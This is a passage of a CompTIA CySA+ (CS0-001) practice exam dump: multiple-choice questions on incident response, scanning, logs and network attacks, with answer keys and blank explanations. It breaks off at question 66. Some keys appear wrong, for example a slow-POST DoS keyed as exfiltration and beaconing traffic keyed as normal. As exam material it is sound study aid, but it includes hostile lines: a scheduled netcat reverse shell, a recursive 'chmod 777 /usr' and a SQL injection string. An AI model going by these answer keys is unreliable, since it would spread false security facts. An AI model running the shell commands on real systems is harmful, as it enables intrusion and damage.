CS0-001

Number: CS0-001
Passing Score: 800
Time Limit: 120 min
File Version: 1

CS0-001

https://www.gratisexam.com/

Exam A

QUESTION 1
Which of the following BEST describes the offensive participants in a tabletop exercise?

A. Red team

B. Blue team
C. System administrators
D. Security analysts
E. Operations team

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 2
An organization has recently recovered from an incident where a managed switch had been accessed and reconfigured without authorization by an insider. The incident response team is working on developing a lessons learned report with recommendations. Which of the following recommendations will BEST prevent the same attack from occurring in the future?

A. Remove and replace the managed switch with an unmanaged one.
B. Implement a separate logical network segment for management interfaces.
C. Install and configure NAC services to allow only authorized devices to connect to the network.
D. Analyze normal behavior on the network and configure the IDS to alert on deviations from normal.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 3
A cybersecurity analyst is reviewing the current BYOD security posture. The users must be able to synchronize their calendars, email, and contacts to a smartphone or other personal device. The recommendation must provide the most flexibility to users. Which of the following recommendations would meet both the mobile data protection efforts and the business requirements described in this scenario?

A. Develop a minimum security baseline while restricting the type of data that can be accessed.
B. Implement a single computer configured with USB access and monitored by sensors.
C. Deploy a kiosk for synchronizing while using an access list of approved users.
D. Implement a wireless network configured for mobile device access and monitored by sensors.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 4
File integrity monitoring states the following files have been changed without a written request or approved change. The following change has been made:

chmod 777 –Rv /usr

Which of the following may be occurring?

A. The ownership pf /usr has been changed to the current user.
B. Administrative functions have been locked from users.
C. Administrative commands have been made world readable/writable.
D. The ownership of/usr has been changed to the root user.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 5

A security analyst has created an image of a drive from an incident. Which of the following describes what the analyst should do NEXT?

A. The analyst should create a backup of the drive and then hash the drive.
B. The analyst should begin analyzing the image and begin to report findings.
C. The analyst should create a hash of the image and compare it to the original drive's hash.
D. The analyst should create a chain of custody document and notify stakeholders.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 6
A cybersecurity analyst is currently investigating a server outage. The analyst has discovered the following value was entered for the username: 0xbfff601a. Which of the following attacks may be occurring?

A. Buffer overflow attack
B. Man-in-the-middle attack
C. Smurf attack
D. Format string attack
E. Denial of service attack

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 7
External users are reporting that a web application is slow and frequently times out when attempting to submit information. Which of the following software development best practices would have helped prevent this issue?

A. Stress testing
B. Regression testing
C. Input validation

D. Fuzzing

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 8
A vulnerability scan has returned the following information:

```
Detailed Results
10.10.10.214 (LOTUS-10-214)

Windows Shares
Category: Windows
CVE ID: -
Vendor Ref: -
Bugtraq ID: -
Service Modified - 4.16.2014

Enumeration Results:
print$    C:\windows\system32\spool\drivers
ofcscan   C:\Program Files\Trend Micro\OfficeScan\PCCSRV
Temp      C:\temp
```

Which of the following describes the meaning of these results?

A. There is an unknown bug in a Lotus server with no Bugtraq ID.
B. Connecting to the host using a null session allows enumeration of share names.

C. Trend Micro has a known exploit that must be resolved or patched.
D. No CVE is present, so it is a false positive caused by Lotus running on a Windows server.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 9
An organization is requesting the development of a disaster recovery plan. The organization has grown and so has its infrastructure. Documentation, policies, and procedures do not exist. Which of the following steps should be taken to assist in the development of the disaster recovery plan?

A. Conduct a risk assessment.
B. Develop a data retention policy.
C. Execute vulnerability scanning.
D. Identify assets.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 10
A company wants to update its acceptable use policy (AUP) to ensure it relates to the newly implemented password standard, which requires sponsored authentication of guest wireless devices. Which of the following is MOST likely to be incorporated in the AUP?

A. Sponsored guest passwords must be at least ten characters in length and contain a symbol.
B. The corporate network should have a wireless infrastructure that uses open authentication standards.
C. Guests using the wireless network should provide valid identification when registering their wireless devices.
D. The network should authenticate all guest users using 802.1x backed by a RADIUS or LDAP server.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 11
An analyst was tasked with providing recommendations of technologies that are PKI X.509 compliant for a variety of secure functions. Which of the following technologies meet the compatibility requirement? (Select three.)

A. 3DES
B. AES
C. IDEA
D. PKCS
E. PGP
F. SSL/TLS
G. TEMPEST

Correct Answer: BDF
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 12
After completing a vulnerability scan, the following output was noted:

```
CVE-2011-3389
QID 42366 - SSLv3.0 / TLSv1.0 Protocol weak CBC mode Server side vulnerability

Check with:

openssl s_client -connect qualys.jive.mobile.com:443 - tls1 -cipher "AES:CAMELLIA:SEED:3DES:DES"
```

Which of the following vulnerabilities has been identified?

A. PKI transfer vulnerability.
B. Active Directory encryption vulnerability.
C. Web application cryptography vulnerability.
D. VPN tunnel vulnerability.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 13
A cybersecurity analyst has received the laptop of a user who recently left the company. The analyst types 'history' into the prompt, and sees this line of code in the latest bash history:

```
> for i in seq 255; ping -c 1 192.168.0.$i; done
```

This concerns the analyst because this subnet should not be known to users within the company. Which of the following describes what this code has done on the network?

A. Performed a ping sweep of the Class C network.
B. Performed a half open SYB scan on the network.
C. Sent 255 ping packets to each host on the network.
D. Sequentially sent an ICMP echo reply to the Class C network.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 14
A security audit revealed that port 389 has been used instead of 636 when connecting to LDAP for the authentication of users. The remediation recommended by the audit was to switch the port to 636 wherever technically possible. Which of the following is the BEST response?

A. Correct the audit. This finding is a well-known false positive; the services that typically run on 389 and 636 are identical.
B. Change all devices and servers that support it to 636, as encrypted services run by default on 636.
C. Change all devices and servers that support it to 636, as 389 is a reserved port that requires root access and can expose the server to privilege escalation attacks.
D. Correct the audit. This finding is accurate, but the correct remediation is to update encryption keys on each of the servers to match port 636.

Correct Answer: B

Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 15
Due to new regulations, a company has decided to institute an organizational vulnerability management program and assign the function to the security team. Which of the following frameworks would BEST support the program? (Select two.)

A. COBIT
B. NIST
C. ISO 27000 series
D. ITIL
E. OWASP

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 16
An incident response report indicates a virus was introduced through a remote host that was connected to corporate resources. A cybersecurity analyst has been asked for a recommendation to solve this issue. Which of the following should be applied?

A. MAC
B. TAP
C. NAC
D. ACL

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 17
Review the following results:

Source	Destination	Protocol	Length	Info
172.29.0.109	8.8.8.8	DNS	74	Standard query 0x9ada A itsec. eicp.net
8.8.8.8	172.29.0.109	DNS	90	Standard query response 0x9ada A itsec.eicp.net A 123.120.110.212
172.29.0.109	123.120.110.212	TCP	78	49294 -8088 [SYN] seq=0 Win=65635 Len=0 MSS=1460 WS=16 TSval=560397766 Tsecr=0 SACK_PERM=1
123.120.110.212	172.29.0.109	TCP	78	8080-49294 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=OMSS=1426 WS=4 TSval=0 Tsecr=0 SACK_PERM=lal=560402112 TSecr=240871
172.29.0.109	172.29.0.255	NBNS	92	Namequery NB WORKGROUP<ID>
54.240.190.21	172.29.0.109	TCP	60	443 - 49294 [RST] Seq=1 Win=0 Len=0
66.235.133.62	172.29.0.109	TCP	60	80 - 49294 [RST] Seq=1 Win=0 Len=0
123.120.110.212	172.29.0.109	TCP	67	8088-49294 [PSH, ACK] Seq=459 ACK=347 Win 255204 Len=1 TSval=241898 TSecr=560402112
172.29.0.109	123.120.110.212	TCP	66	49294-8088 [ACK] Seq=347 Ack=460 Win=131056 Len=0 TSval=560504900 TSecr=241898

Which of the following has occurred?

A. This is normal network traffic.
B. 123.120.110.212 is infected with a Trojan.
C. 172.29.0.109 is infected with a worm.
D. 172.29.0.109 is infected with a Trojan.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 18
A cybersecurity analyst is retained by a firm for an open investigation. Upon arrival, the cybersecurity analyst reviews several security logs.

Given the following snippet of code:

```
sc config schedule start auto
net start schedule
at 13:30 ""C:\nc.exe 192.168.0.101 777 -e cmd.exe ""
```

Which of the following combinations BEST describes the situation and recommendations to be made for this situation?

A. The cybersecurity analyst has discovered host 192.168.0.101 using Windows Task Scheduler at 13:30 to runnc.exe; recommend proceeding with the next step of removing the host from the network.
B. The cybersecurity analyst has discovered host 192.168.0.101 to be running thenc.exe file at 13:30 using the auto cron job remotely, there are no recommendations since this is not a threat currently.
C. The cybersecurity analyst has discovered host 192.168.0.101 is beaconing every day at 13:30 using thenc.exe file; recommend proceeding with the next step of removing the host from the network.
D. The security analyst has discovered host 192.168.0.101 is a rogue device on the network, recommend proceeding with the next step of removing the host from the network.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 19
An administrator has been investigating the way in which an actor had been exfiltrating confidential data from a web server to a foreign host. After a thorough forensic review, the administrator determined the server's BIOS had been modified by rootkit installation. After removing the rootkit and flashing the BIOS to a known good state, which of the following would BEST protect against future adversary access to the BIOS, in case another rootkit is installed?

A. Anti-malware application
B. Host-based IDS
C. TPM data sealing
D. File integrity monitoring

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 20
A security analyst is reviewing the following log after enabling key-based authentication.

```
Dec 21 11:00:57 comptia sshd[5657]: Failed password for root from
95.58.255.62 port 38980 ssh2
Dec 21 20:08:26 comptia sshd[5768]: Failed password for root from
91.205.189.15 port 38156 ssh2
Dec 21 20:08:30 comptia sshd[5770]: Failed password for nobody from
91.205.189.15 port 38556 ssh2
Dec 21 20:08:34 comptia sshd[5772]: Failed password for invalid user
asterisk from 91.205.189.15 port 38864 ssh2
Dec 21 20:08:38 comptia sshd[5774]: Failed password for invalid user
sjobeck from 91.205.189.15 port 39157 ssh2
Dec 21 20:08:42 comptia sshd[5776]: Failed password for root from
91.205.189.15 port 39467 ssh2
```

Given the above information, which of the following steps should be performed NEXT to secure the system?

A. Disable anonymous SSH logins.
B. Disable password authentication for SSH.
C. Disable SSHv1.
D. Disable remote root SSH logins.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 21
A cybersecurity analyst has received a report that multiple systems are experiencing slowness as a result of a DDoS attack. Which of the following would be the BEST action for the cybersecurity analyst to perform?

A. Continue monitoring critical systems.
B. Shut down all server interfaces.
C. Inform management of the incident.
D. Inform users regarding the affected systems.

Correct Answer: C

Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 22
A security analyst has been asked to remediate a server vulnerability. Once the analyst has located a patch for the vulnerability, which of the following should happen NEXT?

A. Start the change control process.
B. Rescan to ensure the vulnerability still exists.
C. Implement continuous monitoring.
D. Begin the incident response process.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 23
A security professional is analyzing the results of a network utilization report. The report includes the following information:

IP Address	Server Name	Server Uptime	Historical	Current
172.20.2.58	web.srvr.03	30D 12H 52M 09S	41.3GB	37.2GB
172.20.1.215	dev.web.srvr.01	30D 12H 52M 09S	1.81GB	2.2GB
172.20.1.22	hr.dbprod.01	30D 12H 17M 22S	2.24GB	29.97GB
172.20.1.26	mrktg.file.srvr.02	30D 12H 41M 09S	1.23GB	0.34GB
172.20.1.28	accnt.file.srvr.01	30D 12H 52M 09S	3.62GB	3.57GB
172.20.1.30	R&D.file.srvr.01	1D 4H 22M 01S	1.24GB	0.764GB

Which of the following servers needs further investigation?

A. hr.dbprod.01
B. R&D.file.srvr.01
C. mrktg.file.srvr.02
D. web.srvr.03

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 24
A system administrator has reviewed the following output:

```
#nmap server.local
Nmap scan report for server.local (10.10.2.5)
Host is up (0.3452354s latency)
Not shown:997 closed ports

PORT      STATE     Service
22/tcp    open      ssh
80/tcp    open      http

#nc server.local 80
220 server.local Company SMTP server (Postfix/2.3.3)
#nc server.local 22
SSH-2.0-OpenSSH_7.1p2 Debian-2
#
```

Which of the following can a system administrator infer from the above output?

A. The company email server is running a non-standard port.
B. The company email server has been compromised.
C. The company is running a vulnerable SSH server.
D. The company web server has been compromised.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 25

An analyst has received unusual alerts on the SIEM dashboard. The analyst wants to get payloads that the hackers are sending toward the target systems without impacting the business operation. Which of the following should the analyst implement?

A. Honeypot
B. Jump box
C. Sandboxing
D. Virtualization

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 26
A cybersecurity analyst has received an alert that well-known “call home” messages are continuously observed by network sensors at the network boundary. The proxy firewall successfully drops the messages. After determining the alert was a true positive, which of the following represents the MOST likely cause?

A. Attackers are running reconnaissance on company resources.
B. An outside command and control system is attempting to reach an infected system.
C. An insider is trying to exfiltrate information to a remote network.
D. Malware is running on a company system.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 27
An alert has been distributed throughout the information security community regarding a critical Apache vulnerability. Which of the following courses of action would ONLY identify the known vulnerability?

A. Perform an unauthenticated vulnerability scan on all servers in the environment.
B. Perform a scan for the specific vulnerability on all web servers.

C. Perform a web vulnerability scan on all servers in the environment.
D. Perform an authenticated scan on all web servers in the environment.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 28
Which of the following commands would a security analyst use to make a copy of an image for forensics use?

A. dd
B. wget
C. touch
D. rm

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 29
After reviewing the following packet, a cybersecurity analyst has discovered an unauthorized service is running on a company's computer.

```
16:26:42.943463 IP 192.168.1.10:25 > 10.38.219.20:3389 Flags
[P.], seq 1768:1901, ackl, win 511, options [nop,nop,TS val
271989777 ecr 475239494], length 133
```

Which of the following ACLs, if implemented, will prevent further access ONLY to the unauthorized service and will not impact other services?

A. DENY TCP ANY HOST 10.38.219.20 EQ 3389
B. DENY IP HOST 10.38.219.20 ANY EQ 25
C. DENY IP HOST192.168.1.10 HOST 10.38.219.20 EQ 3389
D. DENY TCP ANY HOST 192.168.1.10 EQ 25

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 30
The new Chief Technology Officer (CTO) is seeking recommendations for network monitoring services for the local intranet. The CTO would like the capability to monitor all traffic to and from the gateway, as well as the capability to block certain content. Which of the following recommendations would meet the needs of the organization?

A. Recommend setup of IP filtering on both the internal and external interfaces of the gateway router.
B. Recommend installation of an IDS on the internal interface and a firewall on the external interface of the gateway router.
C. Recommend installation of a firewall on the internal interface and a NIDS on the external interface of the gateway router.
D. Recommend installation of an IPS on both the internal and external interfaces of the gateway router.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 31
An analyst is observing unusual network traffic from a workstation. The workstation is communicating with a known malicious site over an encrypted tunnel. A full antivirus scan with an updated antivirus signature file does not show any sign of infection. Which of the following has occurred on the workstation?

A. Zero-day attack
B. Known malware attack
C. Session hijack
D. Cookie stealing

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 32
A university wants to increase the security posture of its network by implementing vulnerability scans of both centrally managed and student/employee laptops. The solution should be able to scale, provide minimum false positives and high accuracy of results, and be centrally managed through an enterprise console. Which of the following scanning topologies is BEST suited for this environment?

A. A passive scanning engine located at the core of the network infrastructure
B. A combination of cloud-based and server-based scanning engines
C. A combination of server-based and agent-based scanning engines
D. An active scanning engine installed on the enterprise console

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 33
A cybersecurity analyst is completing an organization's vulnerability report and wants it to reflect assets accurately. Which of the following items should be in the report?

A. Processor utilization
B. Virtual hosts
C. Organizational governance
D. Log disposition
E. Asset isolation

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

Explanation:

QUESTION 34
A threat intelligence feed has posted an alert stating there is a critical vulnerability in the kernel. Unfortunately, the company's asset inventory is not current. Which of the following techniques would a cybersecurity analyst perform to find all affected servers within an organization?

A. A manual log review from data sent to syslog
B. An OS fingerprinting scan across all hosts
C. A packet capture of data traversing the server network
D. A service discovery scan on the network

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 35
A cybersecurity analyst traced the source of an attack to compromised user credentials. Log analysis revealed that the attacker successfully authenticated from an unauthorized foreign country. Management asked the security analyst to research and implement a solution to help mitigate attacks based on compromised passwords. Which of the following should the analyst implement?

A. Self-service password reset
B. Single sign-on
C. Context-based authentication
D. Password complexity

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 36
A technician is running an intensive vulnerability scan to detect which ports are open to exploit. During the scan, several network services are disabled and production is affected. Which of the following sources would be used to evaluate which network service was interrupted?

A. Syslog
B. Network mapping
C. Firewall logs
D. NIDS

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 37
A software patch has been released to remove vulnerabilities from company's software. A security analyst has been tasked with testing the software to ensure the vulnerabilities have been remediated and the application is still functioning properly. Which of the following tests should be performed NEXT?

A. Fuzzing
B. User acceptance testing
C. Regression testing
D. Penetration testing

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:
Reference: https://en.wikipedia.org/wiki/Regression_testing

QUESTION 38
During a routine review of firewall logs, an analyst identified that an IP address from the organization's server subnet had been connecting during nighttime hours to a foreign IP address, and had been sending between 150 and 500 megabytes of data each time. This had been going on for approximately one week, and the affected server was taken offline for forensic review. Which of the following is MOST likely to drive up the incident's impact assessment?

A. PII of company employees and customers was exfiltrated.
B. Raw financial information about the company was accessed.
C. Forensic review of the server required fall-back on a less efficient service.
D. IP addresses and other network-related configurations were exfiltrated.

E. The local root password for the affected server was compromised.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 39
A threat intelligence analyst who works for a technology firm received this report from a vendor.

“There has been an intellectual property theft campaign executed against organizations in the technology industry. Indicators for this activity are unique to each intrusion. The information that appears to be targeted is R&D data. The data exfiltration appears to occur over months via uniform TTPs. Please execute a defensive operation regarding this attack vector.”

Which of the following combinations suggests how the threat should MOST likely be classified and the type of analysis that would be MOST helpful in protecting against this activity?

A. Polymorphic malware and secure code analysis
B. Insider threat and indicator analysis
C. APT and behavioral analysis
D. Ransomware and encryption

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 40
The help desk informed a security analyst of a trend that is beginning to develop regarding a suspicious email that has been reported by multiple users. The analyst has determined the email includes an attachment named invoice.zip that contains the following files:

```
Locky.js
xerty.ini
xerty.lib
```

Further analysis indicates that when the .zip file is opened, it is installing a new version of ransomware on the devices. Which of the following should be done FIRST to prevent data on the company NAS from being encrypted by infected devices?

A. Disable access to the company VPN.
B. Move the files from the NAS to a cloud-based storage solution.
C. Set permissions on file shares to read-only.
D. Add the URL included in the .js file to the company's web proxy filter.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 41
After running a packet analyzer on the network, a security analyst has noticed the following output:

```
11:52:04  10.10.10.65.39769 > 192.168.50.147.80;
S 2585925862:2585925862(0) win 4096 (ttl 29, id 48666)

11:52:04  10.10.10.65.39769 > 192.168.50.147.81;
S 2585925862:2585925862(0) win 4096 (ttl 29, id 65179)

11:52:04  10.10.10.65.39769 > 192.168.50.147.83;
S 2585925862:2585925862(0) win 4096 (ttl 29, id 42056)

11:52:04  10.10.10.65.39769 > 192.168.50.147.82;
S 2585925862:2585925862(0) win 4096 (ttl 29, id 41568)
```

Which of the following is occurring?

A. A ping sweep
B. A port scan
C. A network map
D. A service discovery

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 42
A network technician is concerned that an attacker is attempting to penetrate the network, and wants to set a rule on the firewall to prevent the attacker from learning which IP addresses are valid on the network. Which of the following protocols needs to be denied?

A. TCP
B. SMTP
C. ICMP
D. ARP

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 43
When network administrators observe an increased amount of web traffic without an increased number of financial transactions, the company is MOST likely experiencing which of the following attacks?

A. Bluejacking
B. ARP cache poisoning
C. Phishing
D. DoS

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 44
A database administrator contacts a security administrator to request firewall changes for a connection to a new internal application.
The security administrator notices that the new application uses a port typically monopolized by a virus.
The security administrator denies the request and suggests a new port or service be used to complete the application's task.
Which of the following is the security administrator practicing in this example?

A. Explicit deny
B. Port security
C. Access control lists
D. Implicit deny

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 45
A network administrator is attempting to troubleshoot an issue regarding certificates on a secure website.
During the troubleshooting process, the network administrator notices that the web gateway proxy on the local network has signed all of the certificates on the local machine.
Which of the following describes the type of attack the proxy has been legitimately programmed to perform?

A. Transitive access
B. Spoofing
C. Man-in-the-middle
D. Replay

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 46
Which of the following is a control that allows a mobile application to access and manipulate information which should only be available by another application on the same mobile device (e.g. a music application posting the name of the current song playing on the device on a social media site)?

A. Co-hosted application
B. Transitive trust
C. Mutually exclusive access
D. Dual authentication

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 47
Using a heuristic system to detect an anomaly in a computer's baseline, a system administrator was able to detect an attack even though the company signature based IDS and antivirus did not detect it. Further analysis revealed that the attacker had downloaded an executable file onto the company PC from the USB port, and executed it to trigger a privilege escalation flaw. Which of the following attacks has MOST likely occurred?

A. Cookie stealing
B. Zero-day
C. Directory traversal
D. XML injection

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 48
A technician recently fixed a computer with several viruses and spyware programs on it and notices the Internet settings were set to redirect all traffic through an unknown proxy. This type of attack is known as which of the following?

A. Phishing
B. Social engineering
C. Man-in-the-middle
D. Shoulder surfing

Correct Answer: C

Section: (none)
Explanation

Explanation/Reference:

QUESTION 49
An application development company released a new version of its software to the public. A few days after the release, the company is notified by end users that the application is notably slower, and older security bugs have reappeared in the new release. The development team has decided to include the security analyst during their next development cycle to help address the reported issues. Which of the following should the security analyst focus on to remedy the existing reported problems?

A. The security analyst should perform security regression testing during each application development cycle.
B. The security analyst should perform end user acceptance security testing during each application development cycle.
C. The security analyst should perform secure coding practices during each application development cycle.
D. The security analyst should perform application fuzzing to locate application vulnerabilities during each application development cycle.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 50
Which of the following principles describes how a security analyst should communicate during an incident?

A. The communication should be limited to trusted parties only.
B. The communication should be limited to security staff only.
C. The communication should come from law enforcement.
D. The communication should be limited to management only.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 51
A security analyst has determined that the user interface on an embedded device is vulnerable to common SQL injections. The device is unable to be replaced, and the software cannot be upgraded. Which of the following should the security analyst recommend to add additional security to this device?

A. The security analyst should recommend this device be placed behind a WAF.
B. The security analyst should recommend an IDS be placed on the network segment.
C. The security analyst should recommend this device regularly export the web logs to a SIEM system.
D. The security analyst should recommend this device be included in regular vulnerability scans.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 52
A security analyst is performing a review of Active Directory and discovers two new user accounts in the accounting department. Neither of the users has elevated permissions, but accounts in the group are given access to the company's sensitive financial management application by default. Which of the following is the BEST course of action?

A. Follow the incident response plan for the introduction of new accounts
B. Disable the user accounts
C. Remove the accounts' access privileges to the sensitive application
D. Monitor the outbound traffic from the application for signs of data exfiltration
E. Confirm the accounts are valid and ensure role-based permissions are appropriate

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 53
Which of the following is MOST effective for correlation analysis by log for threat management?

A. PCAP
B. SCAP

C. IPS
D. SIEM

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 54
A cybersecurity analyst has been asked to follow a corporate process that will be used to manage vulnerabilities for an organization. The analyst notices the policy has not been updated in three years. Which of the following should the analyst check to ensure the policy is still accurate?

A. Threat intelligence reports
B. Technical constraints
C. Corporate minutes
D. Governing regulations

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 55
Which of the following policies BEST explains the purpose of a data ownership policy?

A. The policy should describe the roles and responsibilities between users and managers, and the management of specific data types.
B. The policy should establish the protocol for retaining information types based on regulatory or business needs.
C. The policy should document practices that users must adhere to in order to access data on the corporate network or Internet.
D. The policy should outline the organization's administration of accounts for authorized users to access the appropriate data.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 56
Considering confidentiality and integrity, which of the following make servers more secure than desktops? (Select THREE).

A. VLANs
B. OS
C. Trained operators
D. Physical access restriction
E. Processing power
F. Hard drive capacity

Correct Answer: BCD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 57
A recent audit has uncovered several coding errors and a lack of input validation being used on a public portal. Due to the nature of the portal and the severity of the errors, the portal is unable to be patched. Which of the following tools could be used to reduce the risk of being compromised?

A. Web application firewall
B. Network firewall
C. Web proxy
D. Intrusion prevention system

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 58
Various devices are connecting and authenticating to a single evil twin within the network. Which of the following are MOST likely being targeted?

A. Mobile devices

B. All endpoints
C. VPNs
D. Network infrastructure
E. Wired SCADA devices

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 59
An organization uses Common Vulnerability Scoring System (CVSS) scores to prioritize remediation of vulnerabilities.

Management wants to modify the priorities based on a difficulty factor so that vulnerabilities with lower CVSS scores may get a higher priority if they are easier to implement with less risk to system functionality. Management also wants to quantify the priority. Which of the following would achieve management's objective?

A. (CVSS Score) * Difficulty = Priority
Where Difficulty is a range from 0.1 to 1.0 with 1.0 being easiest and lowest risk to implement
B. (CVSS Score) * Difficulty = Priority
Where Difficulty is a range from 1 to 5 with 1 being easiest and lowest risk to implement
C. (CVSS Score) / Difficulty = Priority
Where Difficulty is a range from 1 to 10 with 10 being easiest and lowest risk to implement
D. ((CVSS Score) * 2) / Difficulty = Priority
Where CVSS Score is weighted and Difficulty is a range from 1 to 5 with 5 being easiest and lowest risk to implement

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 60
A security analyst is attempting to configure a vulnerability scan for a new segment on the network. Given the requirement to prevent credentials from traversing the network while still conducting a credentialed scan, which of the following is the BEST choice?

A. Install agents on the endpoints to perform the scan

B. Provide each endpoint with vulnerability scanner credentials
C. Encrypt all of the traffic between the scanner and the endpoint
D. Deploy scanners with administrator privileges on each endpoint

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 61
Nmap scan results on a set of IP addresses returned one or more lines beginning with “cpe:/o:” followed by a company name, product name, and version. Which of the following would this string help an administrator to identify?

A. Operating system
B. Running services
C. Installed software
D. Installed hardware

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 62
Three similar production servers underwent a vulnerability scan. The scan results revealed that the three servers had two different vulnerabilities rated “Critical”.

The administrator observed the following about the three servers:

- The servers are not accessible by the Internet
- AV programs indicate the servers have had malware as recently as two weeks ago
- The SIEM shows unusual traffic in the last 20 days
- Integrity validation of system files indicates unauthorized modifications

Which of the following assessments is valid and what is the most appropriate NEXT step? (Select TWO).

A. Servers may have been built inconsistently

B. Servers may be generating false positives via the SIEM
C. Servers may have been tampered with
D. Activate the incident response plan
E. Immediately rebuild servers from known good configurations
F. Schedule recurring vulnerability scans on the servers

Correct Answer: CD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 63
When reviewing network traffic, a security analyst detects suspicious activity:

```
110 172.150.200.129 TCP    1140 > 443 [SYN] Seq=0 Win=15901 Len=0 MSS=1460 SACK_PERM=1
111 172.150.200.129 TCP    1140 > 443 [ACK] Seq=1 ACK=1 Win=15091 Len=0
112 172.150.200.129 SSLv2  Client Hello
113 172.150.200.129 TCP    [TCP Dup ACK 112#1] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
114 172.150.200.129 SSLv2  [TCP Retransmission] Client Hello
115 172.150.200.129 TCP    [TCP Dup ACK 114#1] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
120 172.150.200.129 TCP    [TCP Dup ACK 114#2] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
122 172.150.200.129 SSLv2  [TCP Retransmission] Client Hello
```

Based on the log above, which of the following vulnerability attacks is occurring?

A. ShellShock
B. DROWN
C. Zeus
D. Heartbleed
E. POODLE

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 64
Following a data compromise, a cybersecurity analyst noticed the following executed query:

```
SELECT * from Users WHERE name = rick OR 1=1
```

Which of the following attacks occurred, and which of the following technical security controls would BEST reduce the risk of future impact from this attack? (Select TWO).

A. Cookie encryption
B. XSS attack
C. Parameter validation
D. Character blacklist
E. Malicious code execution
F. SQL injection

Correct Answer: CF
Section: (none)
Explanation

Explanation/Reference:
Reference: https://lwn.net/Articles/177037/

QUESTION 65
A security analyst is conducting traffic analysis and observes an HTTP POST to the company's main web server. The POST header is approximately 1000 bytes in length. During transmission, one byte is delivered every ten seconds. Which of the following attacks is the traffic indicative of?

A. Exfiltration
B. DoS
C. Buffer overflow
D. SQL injection

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 66
While reviewing proxy logs, the security analyst noticed a suspicious traffic pattern. Several internal hosts were observed communicating with an external IP address over port 80 constantly. An incident was declared, and an investigation was launched. After interviewing the affected users, the analyst determined the activity started right after deploying a new graphic design suite. Based on this information, which of the following actions would be the appropriate NEXT step in the investigation?

